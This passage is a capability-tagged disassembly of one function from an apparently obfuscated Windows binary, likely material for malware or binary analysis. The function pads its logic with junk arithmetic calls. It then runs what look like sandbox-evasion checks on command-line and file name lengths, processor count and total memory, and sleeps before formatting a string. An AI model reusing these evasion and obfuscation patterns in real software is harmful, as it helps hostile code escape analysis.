Function at 0x14000c5c0
Capabilities:
Accept command line arguments
Get common file path
Get memory capacity
Get system information on windows
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
mov r15d, r9d
mov r14d, r9d
not r14d
sub rsp, 0x20
mov ecx, 0x7afafa69
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xa061440
mov edx, 0x4e9d13
mov r8d, 0x6b
call fcn.1400058b0
add rsp, 0x20
and esi, eax
sub rsp, 0x20
mov ecx, 0x1050504
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
and r12d, r15d
sub rsp, 0x20
mov ecx, 0x1010104
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
or r12d, eax
add r12d, esi
sub rsp, 0x20
mov ecx, 0xb071544
mov edx, 0x39b11c
call fcn.1400058b0
add rsp, 0x20
xor r12d, eax
sub rsp, 0x20
movabs rcx, 0xf12e5b9afe1a5dd3
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, r12d
lea edi, [r15 + r12]
mov eax, r15d
xor eax, r12d
sub edi, eax
mov esi, r15d
and esi, r12d
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl esi, cl
xor esi, edi
sub rsp, 0x20
movabs rcx, 0xee52b2c66867025b
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
xor eax, edi
imul eax, ebx
shl rax, 8
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0xa0], rsp
mov rcx, rsi
mov qword [rbp + 0xe8], rsi
add esi, r15d
mov eax, r15d
xor eax, ecx
sub esi, eax
mov edi, r15d
mov rbx, r15
mov qword [rbp + 0xe0], r15
and edi, ecx
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl edi, cl
xor edi, esi
mov dword [rbp + 0xf0], edi
sub rsp, 0x20
movabs rcx, 0x1d4cea3368881f8
mov edx, r14d
call fcn.1400058b0
mov ecx, 0x9e
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0xb8af
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
mov r15, rax
mov qword [rbp + 0x108], rax
sub rsp, 0x20
mov ecx, 0xaf
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0xecc3
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
mov qword [rbp + 0x110], rax
xor ecx, ecx
cmp r15d, eax
sete cl
mov r13d, ecx
mov dword [rbp + 0xf8], ecx
sub rsp, 0x20
movabs rcx, 0xfe2b315cc9777e09
mov edx, 0x7fd5d6
mov r8d, r14d
call fcn.1400058b0
xor ecx, ecx
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
mov r15, qword [rbp + 0xe8]
xor esi, r15d
or esi, r12d
mov ebx, r12d
or ebx, r15d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xb4
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
imul ebx, edi
mov edi, r12d
not edi
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
imul edi, eax
sub edi, r15d
xor r12d, r15d
sub r12d, esi
sub r12d, ebx
xor r12d, edi
movabs rsi, 0x7030de5f5d0271cc
lea rcx, [rsi + 1]
sub rsp, 0x20
mov edx, 0xdaf63b
call fcn.1400058b0
mov edx, 0x40
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
neg r13d
mov dword [rbp + 0xfc], r13d
sub rsp, 0x20
mov ecx, 0xcc
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xb6
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0xeea8f5
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xb663
mov r8d, 0xb4
mov edx, r14d
call fcn.1400058b0
mov r8d, 0x52cd52
mov rcx, rsi
mov edx, r14d
call fcn.1400058b0
xor ecx, ecx
mov edx, r14d
call fcn.1400058b0
mov ecx, 0x16
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x108]
sub rsp, 0x20
mov ecx, 0xff
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x7cf7
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov r13, rax
imul r13d, edi
sub rsp, 0x20
mov ecx, 0x32
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
mov ecx, 0xf6df
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
movabs rcx, 0x19068d0cc6a6af8a
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov r8d, 0xed
xor ecx, ecx
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
add r15d, eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
mov rax, qword [rbp + 0xe0]
xor esi, eax
or esi, r12d
mov edi, r12d
or edi, eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
xor eax, edi
lea ebx, [rax + rax*2]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, r12d
sub rsp, 0x20
mov ecx, 2
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
imul edi, eax
mov rax, qword [rbp + 0xe0]
sub edi, eax
xor r12d, eax
sub r12d, esi
add r12d, ebx
xor r12d, edi
mov qword [rbp + 0x108], r12
sub rsp, 0x20
movabs rcx, 0xe6f972f339595077
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
add eax, r15d
shl rax, 4
lea rax, [rax + rax*2]
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0x88], rsp
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x28
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
xor esi, r13d
mov r12d, dword [rbp + 0xf0]
or esi, r12d
mov edi, r12d
or edi, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
imul r15d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xa2
mov r8d, 0x24
mov r9d, 0x49
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, r12d
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub edi, r13d
xor r13d, r12d
sub r13d, esi
sub r13d, r15d
sub rsp, 0x20
movabs rcx, 0xbf88b0220d5e8573
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
xor esi, edi
xor esi, r13d
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0x110]
lea edi, [rcx + rdx]
mov eax, ecx
xor eax, edx
sub edi, eax
mov r12d, ecx
and r12d, edx
mov rbx, rdx
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl r12d, cl
xor r12d, edi
sub rsp, 0x20
movabs rcx, 0x3bdbd4396be027bb
mov edx, 0x9a
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
xor eax, edi
imul eax, esi
shl rax, 6
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0x90], rsp
mov esi, ebx
sub esi, dword [rbp + 0xf8]
mov ecx, dword [rbp + 0xfc]
mov eax, ecx
xor eax, ebx
sub esi, eax
and ebx, ecx
sub rsp, 0x20
mov ecx, 1
mov edx, 0x64
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl ebx, cl
xor ebx, esi
mov qword [rbp + 0x110], rbx
sub rsp, 0x20
movabs rcx, 0x755903c94de546ea
mov r8d, 0xb28584
mov edx, r14d
call fcn.1400058b0
xor ecx, ecx
mov edx, r14d
call fcn.1400058b0
movabs rcx, 0x8aa6fc36b21ab917
mov edx, r14d
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0xe7
mov edx, 0xa4
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, qword [rbp + 0x108]
or esi, eax
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x1f
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov rcx, rsi
and ecx, eax
imul ecx, ecx
mov rsi, rcx
sub rsp, 0x20
mov ecx, 0x2d1d
call fcn.1400058b0
add rsp, 0x20
imul esi, eax
mov qword [rbp + 0x108], rsi
sub rsp, 0x20
mov ecx, 0x32
mov edx, 0xff
call fcn.1400058b0
mov ecx, 0xff
mov edx, r14d
call fcn.1400058b0
mov ecx, 0x803f
mov edx, r14d
call fcn.1400058b0
movabs rsi, 0x18fb5154471451fa
mov rcx, rsi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0x15
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xb07b
call fcn.1400058b0
mov ecx, 0x91
call fcn.1400058b0
mov ecx, 0xff
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
mov ecx, 0x3139
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
or rsi, 1
sub rsp, 0x20
mov rcx, rsi
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 8
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor eax, esi
xor eax, edi
shl rax, 6
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0x98], rsp
sub rsp, 0x20
mov ecx, 0xc8
mov edx, 0x9f
mov r8d, r14d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r14d
call fcn.1400058b0
mov ecx, 0x6d39
mov edx, 0xf1c726
call fcn.1400058b0
mov ecx, 0x9f
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0x388310
mov edx, r14d
call fcn.1400058b0
mov ecx, 0x2861
call fcn.1400058b0
movabs rcx, 0xa1030b096b0cb20f
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
add edi, esi
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
movabs rcx, 0x122fecc0d531fcef
mov edx, 0x7d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
add eax, esi
imul eax, edi
shl rax, 8
call fcn.1400056f0
sub rsp, rax
mov r15, rsp
sub rsp, 0x20
mov ecx, 1
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
movabs rax, 0x7d5ad0ec94769502
lea rcx, [rax + 1]
sub rsp, 0x20
mov edx, 0xdb
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov r13, rax
xor r13d, esi
sub rsp, 0x20
mov ecx, 0x2b
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x110]
sub rsp, 0x20
mov ecx, 0xff
mov edx, r14d
mov r8d, r14d
mov r9d, r14d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xb15
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
imul esi, ebx
sub rsp, 0x20
mov ecx, 0x52
mov edx, 0x94195a
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, r12d
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0x43af
mov edx, 0x6d
mov r8d, 0x34
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
xor ebx, ebx
cmp esi, eax
sete bl
sub rsp, 0x20
movabs rcx, 0x7d5ad0ec94769502
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor eax, esi
xor eax, r13d
imul rax, rax, 0x64
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0x110], rsp
sub rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
call rsi
add rsp, 0x20
mov qword [rbp + 0xb8], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
add rsp, 0x20
mov qword [rbp + 0xf0], rax
sub rsp, 0x20
mov ecx, 0xe2
mov r8d, 0xdf
mov edx, r14d
mov r9d, r14d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
mov ecx, 0x356f
mov edx, 0xe16815
mov r8d, 0x7f
mov r9d, r14d
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x6d
call fcn.1400058b0
mov ecx, 0xbc1d
call fcn.1400058b0
movabs rcx, 0x398c944579df3dfa
mov edx, 0x16
call fcn.1400058b0
xor ecx, ecx
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
mov edx, r14d
call fcn.1400058b0
movabs rcx, 0xc6736bba8620c306
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
xorps xmm0, xmm0
movaps xmmword [r15], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x40], xmm0
movaps xmmword [r15 + 0x50], xmm0
movaps xmmword [r15 + 0x60], xmm0
movaps xmmword [r15 + 0x70], xmm0
movaps xmmword [r15 + 0x80], xmm0
movaps xmmword [r15 + 0x90], xmm0
movaps xmmword [r15 + 0xa0], xmm0
movaps xmmword [r15 + 0xb0], xmm0
movaps xmmword [r15 + 0xc0], xmm0
movaps xmmword [r15 + 0xd0], xmm0
movaps xmmword [r15 + 0xe0], xmm0
movaps xmmword [r15 + 0xf0], xmm0
sub rsp, 0x20
xor ecx, ecx
call rsi
add rsp, 0x20
mov qword [rbp + 0x80], rax
neg ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x59
mov r8d, 0x1f
call fcn.1400058b0
add rsp, 0x20
mov r13, rax
mov eax, dword [rbp + 0xfc]
xor r13d, eax
or r13d, ebx
mov esi, ebx
or esi, eax
mov r12d, eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
imul esi, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xe13539
mov r8d, 0xb6
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 2
mov edx, 0xb23989
mov r8d, 0x19c1ca
call fcn.1400058b0
add rsp, 0x20
imul edi, eax
add edi, dword [rbp + 0xf8]
xor ebx, r12d
sub ebx, r13d
mov r13, qword [rbp + 0xe0]
sub ebx, esi
xor ebx, edi
movabs r12, 0x7c0969ce6e6dacb1
lea rcx, [r12 + 0x100]
sub rsp, 0x20
mov edx, 4
call fcn.1400058b0
add rsp, 0x20
add ebx, eax
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0x108]
lea esi, [rdx + rcx]
mov eax, edx
xor eax, ecx
sub esi, eax
and edx, ecx
mov rdi, rdx
sub rsp, 0x20
mov ecx, 1
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl edi, cl
sub rsp, 0x20
mov edx, 0x11c37e
mov rcx, r12
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
xor esi, eax
xor esi, edi
xor esi, ebx
sub rsp, 0x20
mov edx, 0x9f
mov rcx, rsi
mov r8d, r14d
mov r9d, r14d
call fcn.1400058b0
mov rcx, qword [rbp + 0x80]
mov rdx, r15
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, qword [rbp + 0xf0]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov dword [rbp + 0x12c], eax
sub rsp, 0x20
mov rcx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov dword [rbp + 0x128], eax
mov rdi, qword [rbp + 0xd8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
xor r12d, edi
or r12d, r13d
mov esi, r13d
or esi, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
imul r15d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x71
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, r13d
sub rsp, 0x20
mov ecx, 2
mov edx, 0x7dc5fb
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
sub eax, edi
xor edi, r13d
sub edi, r12d
sub edi, r15d
xor edi, eax
movabs rsi, 0x2ebc60c6d08230da
lea rcx, [rsi + 5]
sub rsp, 0x20
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
add ebx, edi
sub rsp, 0x20
mov ecx, 1
mov edx, r14d
call fcn.1400058b0
mov rcx, rsi
mov edx, r14d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
xor eax, esi
xor eax, ebx
add eax, dword [rbp + 0x128]
mov dword [rbp + 0x138], eax
mov eax, dword [rbp + 0x12c]
mov ecx, dword [rbp + 0x138]
cmp ecx, eax
setge byte [rbp + 0x137]
sub rsp, 0x20
mov ecx, 0xd1
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x34
mov r8d, 0x64
call fcn.1400058b0
mov ecx, 0xc179
call fcn.1400058b0
mov ecx, 0x34
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x5047
mov edx, 0xbf
call fcn.1400058b0
movabs rcx, 0x63012348d715c36c
call fcn.1400058b0
mov ecx, 0xe2
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xae05
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
mov ecx, 0xec
mov r8d, 0x64
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x5fa1
mov edx, r14d
call fcn.1400058b0
movabs rcx, 0x6301234828ea3c97
mov edx, r14d
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0xfffffffb
mov edx, r14d
mov r8d, r14d
call fcn.1400058b0
add rsp, 0x20
add eax, dword [rbp + 0x128]
cmp eax, dword [rbp + 0x12c]
setle byte [rbp + 0x145]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0x31
call fcn.1400058b0
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
movzx ecx, byte [rbp + 0x137]
movzx eax, byte [rbp + 0x145]
cmp cl, 1
jne 0x14000d913
test al, 1
je 0x14000d913
sub rsp, 0x20
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
add rsp, 0x20
mov esi, dword [rbp - 0x60]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xa2
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x138]
mov eax, dword [rbp + 0x128]
mov eax, dword [rbp + 0x128]
mov eax, dword [rbp + 0x138]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x128]
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x138]
mov eax, dword [rbp + 0x128]
mov eax, dword [rbp + 0x138]
sub rsp, 0x20
movabs rcx, 0x1e6d2b0cc0d58513
mov edx, esi
call fcn.1400058b0
mov edx, 0xeb
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.1400058b0
add rsp, 0x20
mov rax, qword [rbp + 0xb0]
sub rsp, 0x20
mov ecx, 0xe2
mov r8d, 0x44
mov edx, esi
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x95b9
call fcn.1400058b0
mov ecx, 0xe5
mov edx, 0xb6dab1
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0xca8d
mov edx, 0xc3fbef
mov r8d, esi
call fcn.1400058b0
movabs rcx, 0xa5f83f3707061a36
mov edx, esi
call fcn.1400058b0
mov ecx, 2
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
cmp esi, eax
jb 0x14000d913
movzx esi, byte [rbp + 0x137]
mov eax, dword [rbp + 0x138]
mov eax, dword [rbp + 0x138]
mov eax, dword [rbp + 0x138]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.1400058b0
movabs rcx, 0x60ce561e34c531c3
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
xor edi, eax
mov rax, qword [rbp + 0xd8]
movzx eax, byte [rbp + 0x145]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x76
call fcn.1400058b0
movabs rcx, 0x764b67ce4811bac0
xor edx, edx
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
xor eax, ebx
imul eax, edi
mov rdi, qword [rbp + 0x98]
mov dword [rdi], eax
sub rsp, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
add rsp, 0x20
mov rbx, qword [rdi + 8]
sub rsp, 0x20
mov ecx, 1
mov edx, 0xf6
call fcn.1400058b0
movabs rcx, 0x205d82f499e52a31
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x12c]
mov eax, dword [rbp + 0x138]
mov eax, dword [rbp + 0x12c]
mov eax, dword [rbp + 0x138]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0xc4
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x138]
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x12c]
mov eax, dword [rbp + 0x12c]
mov eax, dword [rbp + 0x138]
sub rsp, 0x20
movabs rcx, 0x20527d0b19e52a31
mov r8d, 0x92
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
movabs rcx, 0xfffff80000000
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and rdi, rbx
movzx eax, byte [rbp + 0x145]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x271c9a
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xe16122
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
mov ecx, 2
mov edx, esi
call fcn.1400058b0
mov r8d, 0x51
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
cmp rdi, rax
je 0x14000d913
mov rcx, qword [rbp + 0xb8]
sub rsp, 0x20
call fcn.140007b00
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xe9675b
mov r8d, 0xc4
call fcn.1400058b0
add rsp, 0x20
xor r13d, eax
sub rsp, 0x20
mov ecx, 0x7afafa69
mov edx, 0xe8
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0xa061440
call fcn.1400058b0
mov ecx, 0x1050504
call fcn.1400058b0
mov ecx, 0x1010104
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0xb071544
mov edx, 0xda
call fcn.1400058b0
movabs rsi, 0x54999ddc0ba4a1f0
mov edx, 0x3f
mov rcx, rsi
call fcn.1400058b0
mov ecx, 0xea
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x95e9
call fcn.1400058b0
mov ecx, 0xe8
mov edx, 0xbf
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0x3c0f2c
mov edx, r13d
call fcn.1400058b0
mov ecx, 0x53f5
mov edx, 0x40
call fcn.1400058b0
add rsp, 0x20
add rsi, 0x28
sub rsp, 0x20
mov edx, 0x6d
mov rcx, rsi
call fcn.1400058b0
mov ecx, 0x3e8
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140010037]
lea r8, str.5vL95_b98r3z_Opp6nr58
mov rbx, qword [rbp + 0x110]
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfA]
add rsp, 0x20
mov dword [rbp + 0x13c], eax
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x74
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xf1
call fcn.1400058b0
mov ecx, 0xa5e9
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
movabs rcx, 0x1c2aa8c6ad71bb54
mov r8d, 0x92
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xb7
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0x6bbd
mov edx, 0xa2
call fcn.1400058b0
mov ecx, 0xd9
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x283
mov edx, r13d
call fcn.1400058b0
movabs rcx, 0xe3d55739528e44b0
mov edx, r13d
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0x5f
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r13d
call fcn.1400058b0
mov ecx, 0x2983
mov edx, r13d
mov r8d, r13d
mov r9d, r13d
call fcn.1400058b0
mov ecx, 0x59
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x1b2f18
call fcn.1400058b0
mov ecx, 0x3a51
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xc4ed4f
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xfffffffd
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, r13d
mov r8d, r13d
mov r9d, r13d
call fcn.1400058b0
movabs rcx, 0x176458b56533ca19
mov edx, 0xb4
mov r8d, 0x22
call fcn.1400058b0
mov edx, 0x924f9b
xor ecx, ecx
call fcn.1400058b0
mov ecx, 4
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov r8d, 0xb6
xor ecx, ecx
